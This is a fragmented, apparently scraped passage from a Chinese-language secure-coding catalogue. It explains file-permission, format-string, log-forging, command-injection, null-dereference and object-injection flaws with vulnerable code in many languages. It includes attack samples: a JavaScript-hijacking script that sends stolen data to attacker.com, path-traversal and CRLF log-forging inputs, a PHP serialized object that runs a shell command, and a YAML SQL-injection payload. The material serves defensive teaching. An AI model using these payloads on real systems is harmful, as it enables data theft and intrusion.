permissions := strconv.Atoi(os.Getenv("filePermissions"));
fMode := os.FileMode(permissions)
os.chmod(filePath, fMode);
...
String permissionMask = System.getProperty("defaultFileMask");
Path filePath = userFile.toPath();
...
Set<PosixFilePermission> perms = PosixFilePermissions.fromString(permissionMask);
Files.setPosixFilePermissions(filePath, perms);
...
$rName = $_GET['publicReport'];
chmod("/home/". authenticateUser . "/public_html/" . rName,"0755");
...
publicReport
,如「../../localuser/public_html/.htpasswd
」,應用程式會指定攻擊者可讀取那個檔案。
...
$mask = $CONFIG_TXT['perms'];
chmod($filename,$mask);
...
permissions = os.getenv("filePermissions");
os.chmod(filePath, permissions);
...
...
rName = req['publicReport']
File.chmod("/home/#{authenticatedUser}/public_html/#{rName}", "0755")
...
publicReport
,如「../../localuser/public_html/.htpasswd
」,應用程式會指定攻擊者可讀取那個檔案。
...
mask = config_params['perms']
File.chmod(filename, mask)
...
services-config.xml
描述符號檔案會指定「記錄」XML 元素以描述記錄的不同內容。內容將與下列相似:
<logging>
<target class="flex.messaging.log.ConsoleTarget" level="Debug">
<properties>
<prefix>[BlazeDS]</prefix>
<includeDate>false</includeDate>
<includeTime>false</includeTime>
<includeLevel>false</includeLevel>
<includeCategory>false</includeCategory>
</properties>
<filters>
<pattern>Endpoint.*</pattern>
<pattern>Service.*</pattern>
<pattern>Configuration</pattern>
</filters>
</target>
</logging>
target
標籤有一個名為 level
的選擇性屬性,由它來指示記錄層級。如果除錯層級設定的層級過於詳細,應用程式可能會將敏感資料寫入記錄檔案。sprintf()
、FormatMessageW()
或 syslog()
。snprintf()
將指令行引數複製到緩衝區內。
int main(int argc, char **argv){
char buf[128];
...
snprintf(buf,128,argv[1]);
}
%x
) 從堆疊讀取,然後函數會取得即將格式化的引數。(在此範例中,函數沒有取得即將格式化的引數。)透過使用 %n
格式化指令,攻擊者可能寫入堆疊,導致 snprintf()
將輸出的位元組數寫入到指定的引數 (而不是如預期從引數讀取值)。這種攻擊的一種繁瑣複雜的形式會使用四條交錯的輸入來完全控制堆疊中一個指標的數值。
printf("%d %d %1$d %1$d\n", 5, 9);
5 9 5 5
Example 1
中所提到的一樣。syslog()
函數有時候以如下形式使用:
...
syslog(LOG_ERR, cmdBuf);
...
syslog()
的第二個參數是個 Format String,所以任何包含在 cmdBuf
內的格式化指令都會被解譯,如 Example 1
中所述。syslog()
的正確使用方式:
...
syslog(LOG_ERR, "%s", cmdBuf);
...
sprintf()
、FormatMessageW()
、syslog()
、NSLog
或NSString.stringWithFormat
範例 1:以下程式碼在 NSString.stringWithFormat:
中使用指令行引數作為格式字串。
int main(int argc, char **argv){
char buf[128];
...
[NSString stringWithFormat:argv[1], argv[2] ];
}
%x
) 從堆疊讀取,然後函數會取得即將格式化的引數。(在此範例中,函數沒有取得即將格式化的引數。)
printf("%d %d %1$d %1$d\n", 5, 9);
5 9 5 5
Example 1
中所提到的一樣。syslog()
函數有時候以如下形式使用:
...
syslog(LOG_ERR, cmdBuf);
...
syslog()
的第二個參數是個 Format String,所以任何包含在 cmdBuf
內的格式化指令都會被解譯,如 Example 1
中所述。syslog()
的正確使用方式:範例 4:Apple 核心類別留下了危險的途徑,可藉此利用 Format String 弱點。
...
syslog(LOG_ERR, "%s", cmdBuf);
...
String.stringByAppendingFormat()
函數有時候以如下形式使用:
...
NSString test = @"Sample Text.";
test = [test stringByAppendingFormat:[MyClass
formatInput:inputControl.text]];
...
stringByAppendingFormat()
的正確使用方式:
...
NSString test = @"Sample Text.";
test = [test stringByAppendingFormat:@"%@", [MyClass
formatInput:inputControl.text]];
...
strncpy()
的範圍函數,使用不正確時也會引起弱點。大多數 Buffer overflow 弱點的根本原因,都是緩衝區的處理,加上對資料的大小或組成假設錯誤。
void wrongNumberArgs(char *s, float f, int d) {
char buf[1024];
sprintf(buf, "Wrong number of %.512s");
}
strncpy()
的範圍函數,使用不正確時也會引起弱點。大多數 Buffer overflow 弱點的根本原因,都是緩衝區的處理,加上對資料的大小或組成假設錯誤。%d
格式規範從浮點數轉換 f
。
void ArgTypeMismatch(float f, int d, char *s, wchar *ws) {
char buf[1024];
sprintf(buf, "Wrong type of %d", f);
...
}
script
標籤。
<script src="http://www.example.com/js/fancyWidget.js"></script>
www.example.com
以外的網站上,則該網站依賴 www.example.com
提供正確且無惡意的程式碼。如果攻擊者能危害 www.example.com
,他們就能修改 fancyWidget.js
的內容來破壞網站的安全性。例如,他們可以新增程式碼至 fancyWidget.js
來竊取使用者的機密資料。
...
String lang = Request.Form["lang"];
WebClient client = new WebClient();
client.BaseAddress = url;
NameValueCollection myQueryStringCollection = new NameValueCollection();
myQueryStringCollection.Add("q", lang);
client.QueryString = myQueryStringCollection;
Stream data = client.OpenRead(url);
...
lang
(例如 en&poll_id=1
) 的可能性,然後該攻擊者可能會隨意變更 poll_id
。
...
String lang = request.getParameter("lang");
GetMethod get = new GetMethod("http://www.example.com");
get.setQueryString("lang=" + lang + "&poll_id=" + poll_id);
get.execute();
...
lang
(例如 en&poll_id=1
) 的可能性,然後該攻擊者可以隨意變更 poll_id
。
<%
...
$id = $_GET["id"];
header("Location: http://www.host.com/election.php?poll_id=" . $id);
...
%>
name=alice
,但已新增其他 name=alice&
,如果在第一次使用它們的伺服器上使用,則會模擬 alice
以便取得其帳戶的進一步資訊。
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
from django.http.response import JsonResponse
...
def handle_upload(request):
response = JsonResponse(sensitive_data, safe=False) # Sensitive data is stored in a list
return response
<script>
標籤評估的有效 JavaScript 的回應,因此容易受到 JavaScript 劫持的攻擊 [1]。預設情況下,此框架使用 POST 方法傳遞要求,這使得從惡意的 <script>
標籤產生要求變得困難 (因為 <script>
標籤只會產生 GET 要求)。儘管如此,Microsoft AJAX.NET 確實提供了使用 GET 要求的機制。事實上,許多專家鼓勵程式設計師使用 GET 要求,以執行瀏覽器快取以及增進效能。
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
<script>
標籤評估的有效 JavaScript 的回應,因此容易受到 JavaScript 劫持的攻擊 [1]。預設情況下,此框架使用 POST 方法傳遞要求,這使得從惡意的 <script>
標籤產生要求變得困難 (因為 <script>
標籤只會產生 GET 要求)。儘管如此,GWT 確實提供了使用 GET 要求的機制。事實上,許多專家鼓勵程式設計師使用 GET 要求,以執行瀏覽器快取以及增進效能。
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
search
方法的 javax.naming.directory.SearchControls
實例上將 returningObjectFlag
設為 true
或使用代表其設定此旗標的程式庫函式,執行物件傳回搜尋。
<beans ... >
<authentication-manager>
<ldap-authentication-provider
user-search-filter="(uid={0})"
user-search-base="ou=users,dc=example,dc=org"
group-search-filter="(uniqueMember={0})"
group-search-base="ou=groups,dc=example,dc=org"
group-role-attribute="cn"
role-prefix="ROLE_">
</ldap-authentication-provider>
</authentication-manager>
</beans>
...
DATA log_msg TYPE bal_s_msg.
val = request->get_form_field( 'val' ).
log_msg-msgid = 'XY'.
log_msg-msgty = 'E'.
log_msg-msgno = '123'.
log_msg-msgv1 = 'VAL: '.
log_msg-msgv2 = val.
CALL FUNCTION 'BAL_LOG_MSG_ADD'
EXPORTING
I_S_MSG = log_msg
EXCEPTIONS
LOG_NOT_FOUND = 1
MSG_INCONSISTENT = 2
LOG_IS_FULL = 3
OTHERS = 4.
...
val
的字串「FOO
」,則會記錄以下項目:
XY E 123 VAL: FOO
FOO XY E 124 VAL: BAR
」,則會記錄以下的項目:
XY E 123 VAL: FOO XY E 124 VAL: BAR
var params:Object = LoaderInfo(this.root.loaderInfo).parameters;
var val:String = String(params["username"]);
var value:Number = parseInt(val);
if (value == Number.NaN) {
trace("Failed to parse val = " + val);
}
val
的字串「twenty-one
」,則會記錄以下項目:
Failed to parse val=twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
」,則會記錄以下的項目:
Failed to parse val=twenty-one
User logged out=badguy
...
string val = (string)Session["val"];
try {
int value = Int32.Parse(val);
}
catch (FormatException fe) {
log.Info("Failed to parse val= " + val);
}
...
val
的字串「twenty-one
」,則會記錄以下項目:
INFO: Failed to parse val=twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
」,則會記錄以下的項目:
INFO: Failed to parse val=twenty-one
INFO: User logged out=badguy
long value = strtol(val, &endPtr, 10);
if (*endPtr != '\0')
syslog(LOG_INFO,"Illegal value = %s",val);
...
val
的字串「twenty-one
」,則會記錄以下項目:
Illegal value=twenty-one
twenty-one\n\nINFO: User logged out=evil
」,則會記錄以下的項目:
INFO: Illegal value=twenty-one
INFO: User logged out=evil
...
01 LOGAREA.
05 VALHEADER PIC X(50) VALUE 'VAL: '.
05 VAL PIC X(50).
...
EXEC CICS
WEB READ
FORMFIELD(NAME)
VALUE(VAL)
...
END-EXEC.
EXEC DLI
LOG
FROM(LOGAREA)
LENGTH(50)
END-EXEC.
...
VAL
的字串「FOO
」,則會記錄以下項目:
VAL: FOO
FOO VAL: BAR
」,則會記錄以下的項目:
VAL: FOO VAL: BAR
<cflog file="app_log" application="No" Thread="No"
text="Failed to parse val="#Form.val#">
val
的字串「twenty-one
」,則會記錄以下項目:
"Information",,"02/28/01","14:50:37",,"Failed to parse val=twenty-one"
twenty-one%0a%0a%22Information%22%2C%2C%2202/28/01%22%2C%2214:53:40%22%2C%2C%22User%20logged%20out:%20badguy%22
」,則會記錄以下的項目:
"Information",,"02/28/01","14:50:37",,"Failed to parse val=twenty-one"
"Information",,"02/28/01","14:53:40",,"User logged out: badguy"
func someHandler(w http.ResponseWriter, r *http.Request){
r.parseForm()
name := r.FormValue("name")
logout := r.FormValue("logout")
...
if (logout){
...
} else {
log.Printf("Attempt to log out: name: %s logout: %s", name, logout)
}
}
twenty-one
」給 logout
,且能夠建立名稱為「admin
」的使用者,則會記錄以下項目:
Attempt to log out: name: admin logout: twenty-one
admin+logout:+1+++++++++++++++++++++++
」這個使用者名稱,則會記錄以下項目:
Attempt to log out: name: admin logout: 1 logout: twenty-one
...
String val = request.getParameter("val");
try {
int value = Integer.parseInt(val);
}
catch (NumberFormatException nfe) {
log.info("Failed to parse val = " + val);
}
...
val
的字串「twenty-one
」,則會記錄以下項目:
INFO: Failed to parse val=twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
」,則會記錄以下的項目:
INFO: Failed to parse val=twenty-one
INFO: User logged out=badguy
Example 1
以適用於 Android 平台。
...
String val = this.getIntent().getExtras().getString("val");
try {
int value = Integer.parseInt();
}
catch (NumberFormatException nfe) {
Log.e(TAG, "Failed to parse val = " + val);
}
...
var cp = require('child_process');
var http = require('http');
var url = require('url');
function listener(request, response){
var val = url.parse(request.url, true)['query']['val'];
if (isNaN(val)){
console.log("INFO: Failed to parse val = " + val);
}
...
}
...
http.createServer(listener).listen(8080);
...
val
的字串「twenty-one
」,則會記錄以下項目:
INFO: Failed to parse val = twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
」,則會記錄以下的項目:
INFO: Failed to parse val=twenty-one
INFO: User logged out=badguy
long value = strtol(val, &endPtr, 10);
if (*endPtr != '\0')
NSLog("Illegal value = %s",val);
...
val
的字串「twenty-one
」,則會記錄以下項目:
INFO: Illegal value=twenty-one
twenty-one\n\nINFO: User logged out=evil
」,則會記錄以下的項目:
INFO: Illegal value=twenty-one
INFO: User logged out=evil
<?php
$name =$_GET['name'];
...
$logout =$_GET['logout'];
if(is_numeric($logout))
{
...
}
else
{
trigger_error("Attempt to log out: name: $name logout: $val");
}
?>
twenty-one
」給 logout
,且能夠建立名稱為「admin
」的使用者,則會記錄以下項目:
PHP Notice: Attempt to log out: name: admin logout: twenty-one
admin+logout:+1+++++++++++++++++++++++
」這個使用者名稱,則會記錄以下項目:
PHP Notice: Attempt to log out: name: admin logout: 1 logout: twenty-one
name = req.field('name')
...
logout = req.field('logout')
if (logout):
...
else:
logger.error("Attempt to log out: name: %s logout: %s" % (name,logout))
twenty-one
」給 logout
,且能夠建立名稱為「admin
」的使用者,則會記錄以下項目:
Attempt to log out: name: admin logout: twenty-one
admin+logout:+1+++++++++++++++++++++++
」這個使用者名稱,則會記錄以下項目:
Attempt to log out: name: admin logout: 1 logout: twenty-one
...
val = req['val']
unless val.respond_to?(:to_int)
logger.info("Failed to parse val")
logger.info(val)
end
...
val
的字串「twenty-one
」,則會記錄以下項目:
INFO: Failed to parse val
INFO: twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
」,則會記錄以下的項目:
INFO: Failed to parse val
INFO: twenty-one
INFO: User logged out=badguy
...
let num = Int(param)
if num == nil {
NSLog("Illegal value = %@", param)
}
...
val
的字串「twenty-one
」,則會記錄以下項目:
INFO: Illegal value = twenty-one
twenty-one\n\nINFO: User logged out=evil
」,則會記錄以下的項目:
INFO: Illegal value=twenty-one
INFO: User logged out=evil
...
Dim Val As Variant
Dim Value As Integer
Set Val = Request.Form("val")
If IsNumeric(Val) Then
Set Value = Val
Else
App.EventLog "Failed to parse val=" & Val, 1
End If
...
val
的字串「twenty-one
」,則會記錄以下項目:
Failed to parse val=twenty-one
twenty-one%0a%0a+User+logged+out%3dbadguy
」,則會記錄以下的項目:
Failed to parse val=twenty-one
User logged out=badguy
CREATE
指令。攻擊者可能使用此參數修改傳送至伺服器的指令,並使用 CRLF 字元插入新指令。
...
final String foldername = request.getParameter("folder");
IMAPFolder folder = (IMAPFolder) store.getFolder("INBOX");
...
folder.doCommand(new IMAPFolder.ProtocolCommand() {
@Override
public Object doCommand(IMAPProtocol imapProtocol) throws ProtocolException {
try {
imapProtocol.simpleCommand("CREATE " + foldername, null);
} catch (Exception e) {
// Handle Exception
}
return null;
}
});
...
USER
和 PASS
指令。攻擊者可能使用此參數修改傳送至伺服器的指令,並使用 CRLF 字元插入新指令。
...
String username = request.getParameter("username");
String password = request.getParameter("password");
...
POP3SClient pop3 = new POP3SClient(proto, false);
pop3.login(username, password)
...
VRFY
指令。攻擊者可能使用此參數修改傳送至伺服器的指令,並使用 CRLF 字元插入新指令。
...
c, err := smtp.Dial(x)
if err != nil {
log.Fatal(err)
}
user := request.FormValue("USER")
c.Verify(user)
...
VRFY
指令。攻擊者可能使用此參數修改傳送至伺服器的指令,並使用 CRLF 字元插入新指令。
...
String user = request.getParameter("user");
SMTPSSLTransport transport = new SMTPSSLTransport(session,new URLName(Utilities.getProperty("smtp.server")));
transport.connect(Utilities.getProperty("smtp.server"), username, password);
transport.simpleCommand("VRFY " + user);
...
VRFY
指令。攻擊者可能使用此參數修改傳送至伺服器的指令,並使用 CRLF 字元插入新指令。
...
user = request.GET['user']
session = smtplib.SMTP(smtp_server, smtp_tls_port)
session.ehlo()
session.starttls()
session.login(username, password)
session.docmd("VRFY", user)
...
null
的函數回傳值。Equals()
成員函數前,不會檢查 Item
屬性回傳的字串是否為 null
,可能會造成 null
解除參照。
string itemName = request.Item(ITEM_NAME);
if (itemName.Equals(IMPORTANT_ITEM)) {
...
}
...
null
值都沒有關係。null
的函數回傳值。malloc()
回傳的指標之前,並不會檢查記憶體是否已成功分配。
buf = (char*) malloc(req_size);
strncpy(buf, xfer, req_size);
malloc()
呼叫的失敗是由於 req_size
太大,或者因為在同一時刻有太多的要求需要被處理?或者是由於建立已久的記憶體洩露所引起的?若不處理此錯誤,我們將永遠不知道答案。null
的函數回傳值。compareTo()
成員函數前,不會檢查 getParameter()
傳回的字串是否為 null
,可能會造成 null
解除參照。範例 2:以下程式碼顯示,設定為
String itemName = request.getParameter(ITEM_NAME);
if (itemName.compareTo(IMPORTANT_ITEM)) {
...
}
...
null
的系統特性,之後被程式設計人員錯誤地假設為始終會被定義,因而被解除參照。
System.clearProperty("os.name");
...
String os = System.getProperty("os.name");
if (os.equalsIgnoreCase("Windows 95") )
System.out.println("Not supported");
null
值都沒有關係。NullException
。cmd
」的屬性。如果攻擊者可以控制程式環境,使「cmd
」變成未定義狀態,那麼程式會在嘗試呼叫 Trim()
方法時拋出一個 Null 指標異常。
string cmd = null;
...
cmd = Environment.GetEnvironmentVariable("cmd");
cmd = cmd.Trim();
null
之前先解除參照可能為 null
的指標,將會造成「解除參照之後檢查」的錯誤。當程式執行明確的 null
檢查,但仍繼續解除參照已知為 null
的指標時,將會造成「檢查後解除參照」的錯誤。這種類型的錯誤通常是打字錯誤或程式設計師的疏忽所造成。當程式明確的將某指標設定為 null
,卻在之後解除參考該指標,則會發生儲存後解除參照錯誤。這種錯誤通常是由於程式設計師在宣告變數時將變數初始化為 null
所致。ptr
不是 NULL
。當程式設計師取消參照指標時,這個假設就變得清楚。當程式設計師檢查 ptr
為 NULL
時,這個假設其實就出現其矛盾之處。若在 if
指令中檢查 ptr
時,其可為 NULL
,則解除參照時也可為 NULL
,並產生分段錯誤。範例 2:在以下程式碼中,程式設計師確定變數
ptr->field = val;
...
if (ptr != NULL) {
...
}
ptr
是 NULL
,並在之後以錯誤的方式解除參照。若在 if
陳述式中檢查 ptr
時,其非 NULL
,就會發生 null
解除參照,從而導致分段錯誤。範例 3:在以下程式碼中,程式設計師忘記了字串
if (ptr == null) {
ptr->field = val;
...
}
'\0'
實際上是 0 還是 NULL
,因此解除參照 Null 指標,並導致分段錯誤。範例 4:在以下程式碼中,程式設計師明確地將變數
if (ptr == '\0') {
*ptr = val;
...
}
ptr
設定為 NULL
。之後,程式設計師先解除參照 ptr
,再檢查物件是否為 null
值。
*ptr = NULL;
...
ptr->field = val;
...
}
NullPointerException
。cmd
」的屬性。如果攻擊者可以控制程式環境,使「cmd
」變成未定義狀態,那麼程式會在嘗試呼叫 trim()
方法時拋出一個 Null 指標異常。
String val = null;
...
cmd = System.getProperty("cmd");
if (cmd)
val = util.translateCommand(cmd);
...
cmd = val.trim();
unserialize()
函數時,便會發生物件插入弱點。攻擊者可以將精心製作的序列化字串傳遞至易受攻擊的 unserialize()
呼叫,進而導致將任意 PHP 物件插入到應用程式範圍。此弱點的嚴重性取決於應用程式範圍中可用的類別。實作 PHP magic 方法的類別 (例如 __wakeup
或 __destruct
) 將引起攻擊者的興趣,因為他們將能夠在這些方法中執行程式碼。__destruct()
magic 方法並執行類別屬性所定義之系統指令的 PHP 類別。此外,還有一個使用使用者提供的資料對 unserialize()
不安全的呼叫。
...
class SomeAvailableClass {
public $command=null;
public function __destruct() {
system($this->command);
}
}
...
$user = unserialize($_GET['user']);
...
Example 1
中,應用程式可能應該執行序列化 User
物件,但攻擊者實際上可能提供序列化版本的 SomeAvailableClass
,並預先定義其 command
屬性的值:
GET REQUEST: http://server/page.php?user=O:18:"SomeAvailableClass":1:{s:7:"command";s:8:"uname -a";}
$user
物件沒有其他參照,就會呼叫解構函數方法,然後執行攻擊者所提供的指令。unserialize()
時,攻擊者將可能鏈結所宣告的不同類別,此技術是在 BlackHat 2010 年大會時由 Stefan Esser 所提出。此技術允許攻擊者重複使用現有程式碼來製作自己的裝載。YAML.load()
) 時,便會發生物件插入弱點。攻擊者可能將精心製作的序列化字串傳遞至易受攻擊的 YAML.load()
呼叫,進而導致只要類別在還原序列化時載入應用程式,就會將任意 Ruby 物件插入到程式內。這可能會導致一整堆的各種攻擊機會,例如,避開驗證邏輯以尋找 Cross-site scripting 弱點,透過看起來是硬式編碼值的內容允許 SQL 插入,或是甚至執行整個程式碼。YAML.load()
不安全的呼叫。
...
class Transaction
attr_accessor :id
def initialize(num=nil)
@id = num.is_a?(Numeric) ? num : nil
end
def print_details
unless @id.nil?
print $conn.query("SELECT * FROM transactions WHERE id=#{@id}")
end
end
end
...
user = YAML.load(params[:user]);
user.print_details
...
Example 1
中,應用程式可能會執行經過序列化的 User
物件,這正好使用稱為 print_details
的函數,但攻擊者實際上可以提供序列化版本的 Transaction
物件,並預先定義其 @id
屬性的值。如下所示的要求因此可能允許避開驗證檢查,其嘗試確保 @id
為數值
GET REQUEST: http://server/page?user=!ruby%2Fobject%3ATransaction%0Aid%3A4%20or%205%3D5%0A
!ruby/object:Transaction\nid:4 or 5=5\n
會指派給 user
參數。Transaction
的物件,並將 @id
設定為 "4 or 5=5"
。當開發人員認為他們將呼叫 User#print_details()
時,他們將立即呼叫 Transaction#print_details()
,而 Ruby 的字串內插補點則意味著 SQL 查詢將變更為執行查詢:SELECT * FROM transactions WHERE id=4 or 5=5
。由於新增的額外子句,查詢會估算為 true
並且會傳回 transactions
表格中的所有內容,而不是開發人員預期的單一列。YAML.load()
時,攻擊者將可能鏈結所宣告的不同類別,此技術是在 BlackHat 2010 年大會時由 Stefan Esser 所提出。此技術允許攻擊者重複使用現有程式碼來製作自己的裝載。clone()
方法應呼叫 super.clone()
來取得新的物件。clone()
方法的執行中,都應透過呼叫 super.clone()
來取得新物件。如果某個類別無法遵守這個慣例,那麼子類別的 clone()
方法將會回傳錯誤的物件類型。super.clone()
而產生的錯誤。由於類別的 Kibitzer
執行 clone()
方法,FancyKibitzer
類別的複製方法將會回傳 Kibitzer
類型的物件,而非 FancyKibitzer
類型。
public class Kibitzer implements Cloneable {
public Object clone() throws CloneNotSupportedException {
Object returnMe = new Kibitzer();
...
}
}
public class FancyKibitzer extends Kibitzer
implements Cloneable {
public Object clone() throws CloneNotSupportedException {
Object returnMe = super.clone();
...
}
}